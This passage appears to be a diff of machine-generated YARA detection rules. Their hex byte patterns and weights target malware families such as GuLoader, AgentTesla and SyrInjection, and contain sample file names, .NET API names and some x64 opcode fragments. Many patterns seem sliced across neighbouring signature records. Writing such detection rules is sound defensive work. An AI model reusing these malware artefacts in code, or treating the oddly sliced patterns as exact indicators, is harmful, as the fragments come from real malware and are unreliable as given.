72 65 73 6f 75 72 63 65 73 01 00 0b 81 01 46 6f 72 6d 5f 50 68 61 73 } //11573 $a_00_2 = {0c } //29295 - $a_6f_3 = {6d 5f 53 75 73 74 61 69 6e 01 00 0c 81 01 46 6f 72 6d 5f 56 69 62 72 61 74 6f 00 00 78 ed 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 46 51 31 32 33 21 4d 54 } //385 - $a_00_4 = {16 } //66 - $a_6f_5 = {74 77 61 72 65 5c 4e 6f 6e 72 65 67 61 72 64 61 6e 63 65 01 00 21 81 01 5c 53 61 6c 76 61 64 6f 72 69 61 6e 73 6b 65 5c 73 69 67 68 74 73 6d 61 6e 5c 66 6a 65 6e 64 73 6b 01 00 18 81 01 5c 74 65 6e 64 65 72 6c 6f 69 6e 5c 42 6f 77 6c 65 73 34 34 2e } //385 - $a_01_6 = {00 19 81 01 77 79 6b 65 5c 74 75 72 62 6f 67 65 6e 65 72 61 74 6f 72 65 72 2e 63 75 6c 01 00 1a 81 01 5c 75 6e 72 65 67 65 6e 65 72 61 63 79 5c 4b 61 72 65 6e 31 33 35 2e 62 72 73 01 00 0e 81 01 68 6f 65 6a 65 20 74 61 6c 6b 75 6d 65 74 01 00 10 81 01 41 6d 53 6f 75 74 68 20 42 61 6e 63 6f 72 70 2e 00 00 78 ed 00 } //29302 + $a_6f_3 = {6d 5f 53 75 73 74 61 69 6e 01 00 0c 81 01 46 6f 72 6d 5f 56 69 62 72 61 74 6f 00 00 78 ed 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 53 30 31 21 4d 54 42 00 } //385 + $a_81_4 = {5c 61 72 76 65 6f 6e 6b 65 6c 65 6e 73 2e 68 74 6d } //1 \arveonkelens.htm + $a_81_5 = {64 65 70 6f 72 74 65 64 5c 4e 65 74 61 64 72 65 73 73 65 6e 73 } //1 deported\Netadressens + $a_81_6 = {65 6d 62 75 73 71 75 20 73 6e 6f 77 63 61 70 73 2e 65 78 65 } //1 embusqu snowcaps.exe condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*11573+(#a_00_2 & 1)*29295+(#a_6f_3 & 1)*385+(#a_00_4 & 1)*66+(#a_6f_5 & 1)*385+(#a_01_6 & 1)*29302) >=7 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*11573+(#a_00_2 & 1)*29295+(#a_6f_3 & 1)*385+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 } -rule _InfrastructureShared_15481{ +rule _InfrastructureShared_16497{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 53 30 31 21 4d 54 42 00 01 00 11 81 01 5c 61 72 76 65 6f 6e 6b 65 6c 65 6e 73 2e 68 74 6d 01 00 15 81 01 64 65 70 6f 72 74 65 64 5c 4e 65 74 61 64 72 65 73 73 65 6e 73 01 00 14 81 01 65 6d 62 75 } //18467 + $a_20_1 = {6e 6f 77 63 61 70 73 2e 65 78 65 01 00 1b 81 01 6d 75 73 73 69 65 72 20 6d 61 73 73 61 67 65 6b 6c 69 6e 69 6b 6b 65 72 6e 65 73 01 00 10 81 01 65 6b 73 70 6f 72 74 72 20 65 70 61 63 74 61 6c 01 00 10 81 01 61 72 62 65 6a 64 73 70 6c 61 64 73 65 72 6e 65 01 00 2d 81 01 72 65 76 61 63 63 69 6e 61 74 69 6f 6e 73 5c 68 79 64 72 6f 70 68 6f 62 6f 75 73 } //29043 + $a_6e_2 = {72 6f 6c 66 75 6e 6b 74 69 6f 6e 37 38 00 00 78 ed 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 46 51 31 32 33 21 4d 54 42 00 01 00 16 81 01 53 6f 66 74 77 61 72 65 5c 4e 6f 6e 72 65 67 61 72 64 61 6e 63 65 01 00 21 81 01 5c 53 61 6c 76 61 64 6f 72 69 61 6e 73 6b 65 5c 73 69 67 68 } //19292 + $a_61_3 = {5c 66 6a 65 6e 64 73 6b 01 00 18 81 01 5c 74 65 6e 64 65 72 6c 6f 69 6e 5c 42 6f 77 6c 65 73 34 34 2e 76 72 69 01 00 19 81 01 77 79 6b 65 5c 74 75 72 62 6f 67 65 6e 65 72 61 74 6f 72 65 72 2e 63 75 6c 01 00 1a 81 01 5c 75 6e 72 65 67 65 6e 65 72 61 63 79 5c 4b 61 72 65 6e 31 33 35 2e 62 72 73 01 00 0e 81 01 68 6f 65 6a 65 20 } //29556 + $a_6b_4 = {6d 65 74 01 00 10 81 01 41 6d 53 6f 75 74 68 20 42 61 6e 63 6f 72 70 2e 00 00 78 ed 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 41 4d 30 31 21 4d 54 42 00 01 00 1d 81 01 53 6f 66 74 77 61 72 65 5c 70 61 72 61 70 6c 79 5c 62 72 6f 6e 63 68 6f 73 74 6f 6d 79 01 00 1c 81 01 } //24948 + $a_72_5 = {64 65 6d 61 69 64 65 6e 5c 62 61 6c 74 68 61 73 61 72 73 2e 69 6e 69 01 00 13 81 01 4b 72 65 64 69 74 67 69 76 6e 69 6e 67 65 6e 2e 70 61 70 01 00 0d 81 01 62 72 65 76 74 65 6b 73 74 2e 6b 61 6e 01 } //23605 + $a_01_6 = {68 6f 73 70 69 74 61 6c 69 73 65 72 65 6e 64 65 20 73 63 61 62 62 6c 65 64 01 00 15 81 01 61 74 68 65 69 73 74 69 63 20 70 68 6f 6e 6f 72 65 63 6f 72 64 01 00 1a 81 01 75 64 6d 72 6b 65 6c 73 65 72 73 20 6f 72 74 68 6f 74 6f 6d 69 63 2e 65 78 65 00 00 78 ed 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 73 69 6c 69 61 2e 41 52 41 5a 21 4d 54 42 } //6400 + condition: + ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*29043+(#a_6e_2 & 1)*19292+(#a_61_3 & 1)*29556+(#a_6b_4 & 1)*24948+(#a_72_5 & 1)*23605+(#a_01_6 & 1)*6400) >=7 + +} +rule _InfrastructureShared_16498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -179809,7 +191857,7 @@ rule _InfrastructureShared_15481{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*28257+(#a_01_2 & 1)*29282+(#a_01_3 & 1)*28015+(#a_72_4 & 1)*28271+(#a_32_5 & 1)*25133+(#a_00_6 & 1)*101) >=7 } -rule _InfrastructureShared_15482{ +rule _InfrastructureShared_16499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -179824,7 +191872,7 @@ rule _InfrastructureShared_15482{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26740+(#a_63_2 & 1)*29295+(#a_2d_3 & 1)*13409+(#a_00_5 & 1)*101+(#a_41_6 & 1)*19201) >=7 } -rule _InfrastructureShared_15483{ +rule _InfrastructureShared_16500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -179836,24 +191884,57 @@ rule _InfrastructureShared_15483{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*30051+(#a_00_3 & 1)*86) >=8 } -rule _InfrastructureShared_15484{ +rule _InfrastructureShared_16501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 47 35 33 21 4d 54 42 00 01 00 1a 81 01 4b 4c 41 58 44 20 44 53 48 53 41 44 4a 55 46 41 48 47 59 46 20 58 55 59 46 47 01 00 11 81 01 42 75 6e 69 31 66 75 5f 54 65 31 78 } //18467 $a_6f_1 = {01 00 0b 81 01 54 6f 43 68 61 72 41 72 72 61 79 01 00 31 81 01 76 34 5f 34 36 30 70 78 5f 4b 6e 6f 77 5f 69 66 5f 59 6f 75 72 5f 47 69 72 6c 66 72 } //17012 - $a_64_2 = {49 73 5f 48 6f 72 6e 79 5f 53 74 65 70 5f 31 31 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 0a 81 01 46 72 6f 6d 42 61 73 65 36 34 01 00 0b 81 01 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 0a 81 01 53 74 72 52 65 76 65 72 73 65 00 00 78 ed 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 } //25961 - $a_67_3 = {6e 74 54 65 73 6c 61 2e 50 4b 41 45 31 31 31 21 4d 54 42 00 01 00 25 81 01 24 62 38 39 65 34 30 38 63 2d 36 38 36 35 2d 34 38 30 30 2d 38 36 38 38 2d 30 32 37 66 39 63 66 34 63 61 64 62 01 00 10 } //12108 - $a_72_4 = {6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 0b 81 01 66 65 66 66 65 66 65 65 66 65 66 01 00 10 81 01 8a a2 cc 9f 0f 1c 38 d0 21 49 52 } //385 - $a_d9_5 = {01 00 10 81 01 7c 33 46 46 46 70 f1 e2 45 30 0c 83 48 24 72 f0 01 00 0f 81 01 a1 d7 b4 a2 a2 28 43 7d 7d 7d 24 93 d0 62 f8 01 00 10 81 01 ba 09 6e f1 02 b7 e0 61 b1 4c 42 31 37 21 9b cd 00 00 78 ed 00 00 0a 00 0a 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 41 41 42 21 4d 54 42 00 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 09 81 01 67 65 74 5f 44 72 72 69 6c 01 00 0d 81 01 41 64 64 43 42 53 5f 56 } //9807 - $a_65_6 = {01 00 0d 81 01 42 53 54 52 4d 61 72 73 68 61 6c 65 72 01 00 0a 81 01 46 4c 75 78 43 65 6e 74 65 72 01 00 19 81 01 53 70 61 63 65 47 61 6d 65 2e 46 6f 72 6d 33 2e 72 65 73 6f 75 72 63 65 73 01 00 18 81 01 53 70 61 63 65 47 61 6d 65 2e 47 61 6d 65 2e 72 65 73 6f 75 72 63 65 73 02 00 28 81 01 53 70 61 63 65 47 61 6d 65 2e 50 72 6f 70 65 72 74 69 65 73 } //27745 - $a_73_7 = {75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 09 81 01 53 65 6c 65 63 74 6f 72 58 00 00 78 ed 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 44 54 21 4d 54 42 00 01 00 0d 80 01 62 75 74 74 6f 6e 31 5f 43 6c 69 63 6b 01 00 0a 80 } //21038 + $a_64_2 = {49 73 5f 48 6f 72 6e 79 5f 53 74 65 70 5f 31 31 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 0a 81 01 46 72 6f 6d 42 61 73 65 36 34 01 00 0b 81 01 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 0a 81 01 53 74 72 52 65 76 65 72 73 65 00 00 78 ed 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //25961 + $a_47_3 = {4c 6f 61 64 65 72 2e 53 54 4e 21 4d 54 42 00 01 00 1e 81 01 5c 52 67 72 65 5c 6f 6d 67 61 65 72 64 65 74 5c 73 6b 72 62 65 6c 69 67 68 65 64 } //12851 + $a_01_4 = {00 16 81 01 5c 75 64 76 69 6e 64 65 6e 64 65 73 5c 69 67 6c 6f 73 2e 64 6c 6c 01 00 0f 81 01 54 72 61 64 75 63 69 6e 67 6c 79 2e 69 6e 69 01 00 12 81 01 61 61 6e 64 73 66 72 69 73 6b 65 72 65 73 2e 6b 69 67 01 00 13 81 01 63 68 65 66 6b 6f 6e 73 75 6c 65 6e 74 65 72 2e 74 78 74 01 00 12 81 01 65 66 74 65 72 70 72 76 65 6c 73 65 72 73 2e 74 78 } //29285 + $a_65_6 = {69 6f 74 61 78 69 73 2e 69 6e 69 01 00 10 81 01 6e 6f 6e 66 61 74 69 67 61 62 6c 65 2e 6a 70 67 00 00 78 ed 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 50 45 30 31 21 4d 54 42 00 01 00 14 81 01 45 63 75 6d 65 6e 69 63 61 6c 69 74 79 31 32 32 2e 74 78 74 01 00 0f } //385 + $a_66_7 = {6b 65 64 73 66 65 73 74 2e 6a 70 67 01 00 0e 81 01 76 65 6a 6c 65 64 65 72 65 73 2e 6a 70 67 01 00 10 81 01 66 6f 72 6d 61 74 6c 6e 67 64 65 73 2e 67 67 6c 01 00 11 81 01 74 69 6e 64 65 72 6f 75 73 20 70 69 67 65 6c 69 6c 01 00 1a 81 01 61 66 66 69 72 6d 61 74 69 6f 6e 65 72 6e 65 73 20 6b } //385 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*17012+(#a_64_2 & 1)*25961+(#a_67_3 & 1)*12108+(#a_72_4 & 1)*385+(#a_d9_5 & 1)*9807+(#a_65_6 & 1)*27745+(#a_73_7 & 1)*21038) >=8 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*17012+(#a_64_2 & 1)*25961+(#a_47_3 & 1)*12851+(#a_01_4 & 1)*29285+(#a_65_6 & 1)*385+(#a_66_7 & 1)*385) >=8 } -rule _InfrastructureShared_15485{ +rule _InfrastructureShared_16502{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 4e 21 4d 54 42 00 01 00 1e 81 01 5c 52 67 72 65 5c 6f 6d 67 61 65 72 64 65 74 5c 73 6b 72 62 65 6c 69 67 68 65 64 65 72 73 01 00 16 81 01 5c 75 64 76 69 6e 64 65 6e 64 65 73 } //18467 + $a_6c_1 = {73 2e 64 6c 6c 01 00 0f 81 01 54 72 61 64 75 63 69 6e 67 6c 79 2e 69 6e 69 01 00 12 81 01 61 61 6e 64 73 66 72 69 73 6b 65 72 65 73 2e 6b 69 67 01 00 13 81 01 63 68 65 66 6b 6f 6e 73 75 6c 65 6e 74 65 72 2e 74 78 74 01 00 12 81 01 65 66 74 65 72 70 72 76 65 6c 73 65 72 73 2e 74 78 74 01 00 0e 81 01 68 65 6c } //26972 + $a_61_2 = {69 73 2e 69 6e 69 01 00 10 81 01 6e 6f 6e 66 61 74 69 67 61 62 6c 65 2e 6a 70 67 00 00 78 ed 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 50 45 30 31 21 4d 54 42 00 01 00 14 81 01 45 63 75 6d 65 6e 69 63 61 6c 69 74 79 31 32 32 2e 74 78 74 01 00 0f 81 01 61 66 73 6b 65 64 73 66 65 73 74 2e 6a 70 67 } //28521 + $a_81_3 = {76 65 6a 6c 65 64 65 72 65 73 2e 6a 70 67 } //1 vejlederes.jpg + $a_81_4 = {66 6f 72 6d 61 74 6c 6e 67 64 65 73 2e 67 67 6c } //1 formatlngdes.ggl + $a_81_5 = {74 69 6e 64 65 72 6f 75 73 20 70 69 67 65 6c 69 6c } //1 tinderous pigelil + $a_81_6 = {61 66 66 69 72 6d 61 74 69 6f 6e 65 72 6e 65 73 20 6b 61 6c 6b 76 72 6b 65 74 } //1 affirmationernes kalkvrket + $a_81_7 = {66 69 73 6b 65 72 62 61 61 64 65 6e 73 20 73 6b 6e 73 73 61 67 65 6e 2e 65 78 65 } //1 fiskerbaadens sknssagen.exe + condition: + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*26972+(#a_61_2 & 1)*28521+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 + +} +rule _InfrastructureShared_16503{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 50 45 30 31 21 4d 54 42 00 01 00 14 81 01 45 63 75 6d 65 6e 69 63 61 6c 69 74 79 31 32 32 2e 74 78 74 01 00 0f 81 01 61 66 73 6b 65 64 73 66 65 73 74 2e 6a 70 67 01 00 0e 81 01 76 65 6a 6c 65 64 65 } //18467 + $a_2e_1 = {70 67 01 00 10 81 01 66 6f 72 6d 61 74 6c 6e 67 64 65 73 2e 67 67 6c 01 00 11 81 01 74 69 6e 64 65 72 6f 75 73 20 70 69 67 65 6c 69 6c 01 00 1a 81 01 61 66 66 69 72 6d 61 74 69 6f 6e 65 72 6e 65 73 20 6b 61 6c 6b 76 72 6b 65 74 01 00 1b 81 01 66 69 73 6b 65 72 62 61 61 64 65 6e 73 20 73 6b 6e 73 73 61 67 65 6e 2e 65 78 65 01 00 16 81 01 6f 62 } //25970 + $a_6e_2 = {74 69 76 65 20 66 6f 64 64 65 72 6c 65 73 73 00 00 78 ed 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4b 41 45 31 31 31 21 4d 54 42 00 01 00 25 81 01 24 62 38 39 65 34 30 38 63 2d 36 38 36 35 2d 34 38 30 30 2d 38 36 38 38 2d 30 32 37 66 39 63 } //29811 + $a_61_3 = {62 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 0b 81 01 66 65 66 66 65 66 65 65 66 65 66 01 00 10 81 01 8a a2 cc 9f 0f 1c 38 d0 21 49 52 4f 26 93 d9 24 01 00 10 81 01 7c 33 46 46 46 70 f1 e2 45 30 } //13414 + $a_24_4 = {f0 01 00 0f 81 01 a1 d7 b4 a2 a2 28 43 7d 7d 7d 24 93 d0 62 f8 01 00 10 81 01 ba 09 6e f1 02 b7 e0 61 b1 4c 42 31 37 21 9b cd 00 00 78 ed 00 00 0a 00 0a 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c } //-31988 + $a_65_5 = {61 2e 50 41 41 42 21 4d 54 42 00 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 09 81 01 67 65 74 5f 44 72 72 69 6c 01 00 0d 81 01 41 64 64 43 42 53 5f 56 61 6c 75 65 73 01 00 0d 81 01 42 53 54 52 4d 61 72 73 68 61 6c 65 72 01 00 0a 81 01 46 4c 75 78 43 65 6e 74 65 72 01 00 19 81 01 53 70 61 63 65 47 61 6d 65 2e 46 6f 72 6d 33 2e 72 } //21551 + $a_75_6 = {63 65 73 01 00 18 81 01 53 70 61 63 65 47 61 6d 65 2e 47 61 6d 65 2e 72 65 73 6f 75 72 63 65 73 02 00 28 81 01 53 70 61 63 65 47 61 6d 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 09 81 01 53 65 6c 65 63 74 6f 72 58 00 00 78 ed 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 } //29541 + $a_61_7 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 44 54 21 4d 54 42 00 01 00 0d 80 01 62 75 74 74 6f 6e 31 5f 43 6c 69 63 6b 01 00 0a 80 01 46 6f 72 6d 31 5f 4c 6f 61 64 01 00 0a 80 01 70 6f 77 65 72 73 68 65 6c 6c 01 00 0c 80 01 43 6c 61 73 73 4c 69 62 72 61 72 79 01 00 19 80 01 47 65 74 4d 61 6e 69 66 65 73 74 } //28530 + condition: + ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*25970+(#a_6e_2 & 1)*29811+(#a_61_3 & 1)*13414+(#a_24_4 & 1)*-31988+(#a_65_5 & 1)*21551+(#a_75_6 & 1)*29541+(#a_61_7 & 1)*28530) >=8 + +} +rule _InfrastructureShared_16504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -179870,7 +191951,7 @@ rule _InfrastructureShared_15485{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*29254+(#a_01_2 & 1)*25296+(#a_01_3 & 1)*2304+(#a_4d_4 & 1)*25927+(#a_ed_5 & 1)*0+(#a_00_7 & 1)*101+(#a_45_8 & 1)*8993) >=9 } -rule _InfrastructureShared_15486{ +rule _InfrastructureShared_16505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 21 " @@ -179887,7 +191968,7 @@ rule _InfrastructureShared_15486{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29554+(#a_72_2 & 1)*28531+(#a_68_3 & 1)*29285+(#a_41_4 & 1)*28265+(#a_00_5 & 1)*116+(#a_00_7 & 1)*105+(#a_61_8 & 1)*29550) >=10 } -rule _InfrastructureShared_15487{ +rule _InfrastructureShared_16506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -179904,7 +191985,7 @@ rule _InfrastructureShared_15487{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*384+(#a_72_2 & 1)*25197+(#a_2e_3 & 1)*27763+(#a_00_4 & 1)*104+(#a_00_5 & 1)*12+(#a_54_6 & 1)*19525+(#a_00_8 & 1)*104) >=10 } -rule _InfrastructureShared_15488{ +rule _InfrastructureShared_16507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -179922,7 +192003,7 @@ rule _InfrastructureShared_15488{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*58+(#a_01_3 & 1)*1792+(#a_51_4 & 1)*23552+(#a_00_6 & 1)*104+(#a_00_7 & 1)*100+(#a_00_8 & 1)*100+(#a_6a_9 & 1)*29268+(#a_4b_10 & 1)*384) >=11 } -rule _InfrastructureShared_15489{ +rule _InfrastructureShared_16508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -179934,7 +192015,7 @@ rule _InfrastructureShared_15489{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*102+(#a_00_2 & 1)*120) >=12 } -rule _InfrastructureShared_15490{ +rule _InfrastructureShared_16509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 07 00 21 " @@ -179950,7 +192031,7 @@ rule _InfrastructureShared_15490{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*-32758+(#a_00_2 & 1)*32260+(#a_01_3 & 1)*10244+(#a_48_4 & 1)*8448+(#a_01_5 & 1)*8960+(#a_6e_6 & 1)*17152) >=12 } -rule _InfrastructureShared_15491{ +rule _InfrastructureShared_16510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -179966,7 +192047,7 @@ rule _InfrastructureShared_15491{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*28261+(#a_00_2 & 1)*29813+(#a_72_3 & 1)*20480+(#a_00_4 & 1)*26214+(#a_43_5 & 1)*26881+(#a_64_6 & 1)*28524) >=16 } -rule _InfrastructureShared_15492{ +rule _InfrastructureShared_16511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 0c 00 21 " @@ -179987,7 +192068,7 @@ rule _InfrastructureShared_15492{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*29288+(#a_64_2 & 1)*28524+(#a_20_3 & 1)*26740+(#a_74_4 & 1)*29285+(#a_61_5 & 1)*29811+(#a_01_6 & 1)*-3965+(#a_00_7 & 1)*0+(#a_23_8 & 1)*2+(#a_c2_9 & 1)*638+(#a_45_10 & 1)*1025+(#a_3a_11 & 1)*19521) >=20 } -rule _InfrastructureShared_15493{ +rule _InfrastructureShared_16512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -179998,7 +192079,7 @@ rule _InfrastructureShared_15493{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*26984) >=1 } -rule _InfrastructureShared_15494{ +rule _InfrastructureShared_16513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -180014,7 +192095,7 @@ rule _InfrastructureShared_15494{ ((#a_54_0 & 1)*18467+(#a_1d_1 & 1)*257+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720) >=1 } -rule _InfrastructureShared_15495{ +rule _InfrastructureShared_16514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -180025,7 +192106,7 @@ rule _InfrastructureShared_15495{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3467) >=2 } -rule _InfrastructureShared_15496{ +rule _InfrastructureShared_16515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -180036,7 +192117,7 @@ rule _InfrastructureShared_15496{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*103) >=2 } -rule _InfrastructureShared_15497{ +rule _InfrastructureShared_16516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -180051,7 +192132,7 @@ rule _InfrastructureShared_15497{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*27715+(#a_01_2 & 1)*29537+(#a_74_3 & 1)*29216+(#a_56_5 & 1)*12544+(#a_05_6 & 1)*18472) >=2 } -rule _InfrastructureShared_15498{ +rule _InfrastructureShared_16517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -180063,7 +192144,7 @@ rule _InfrastructureShared_15498{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26989+(#a_48_2 & 1)*-31444) >=3 } -rule _InfrastructureShared_15499{ +rule _InfrastructureShared_16518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -180075,7 +192156,7 @@ rule _InfrastructureShared_15499{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_00_2 & 1)*109) >=3 } -rule _InfrastructureShared_15500{ +rule _InfrastructureShared_16519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -180086,7 +192167,7 @@ rule _InfrastructureShared_15500{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*95) >=3 } -rule _InfrastructureShared_15501{ +rule _InfrastructureShared_16520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -180096,7 +192177,7 @@ rule _InfrastructureShared_15501{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15502{ +rule _InfrastructureShared_16521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -180107,7 +192188,7 @@ rule _InfrastructureShared_15502{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*23040) >=3 } -rule _InfrastructureShared_15503{ +rule _InfrastructureShared_16522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -180117,7 +192198,7 @@ rule _InfrastructureShared_15503{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15504{ +rule _InfrastructureShared_16523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -180127,7 +192208,20 @@ rule _InfrastructureShared_15504{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15505{ +rule _InfrastructureShared_16524{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 53 79 72 49 6e 6a 65 63 74 69 6f 6e 2e 41 00 01 00 2c 03 48 83 f8 08 90 01 04 48 8b 90 01 01 48 0f 45 c8 41 ff c0 0f b6 44 0c 90 01 01 32 90 02 06 88 84 90 01 09 41 81 f8 00 02 00 00 90 00 01 00 1f 03 c7 44 24 } //21283 + $a_c0_2 = {44 24 20 00 30 00 00 90 01 05 48 8b 90 01 01 ff 15 90 00 01 00 1b 03 4c 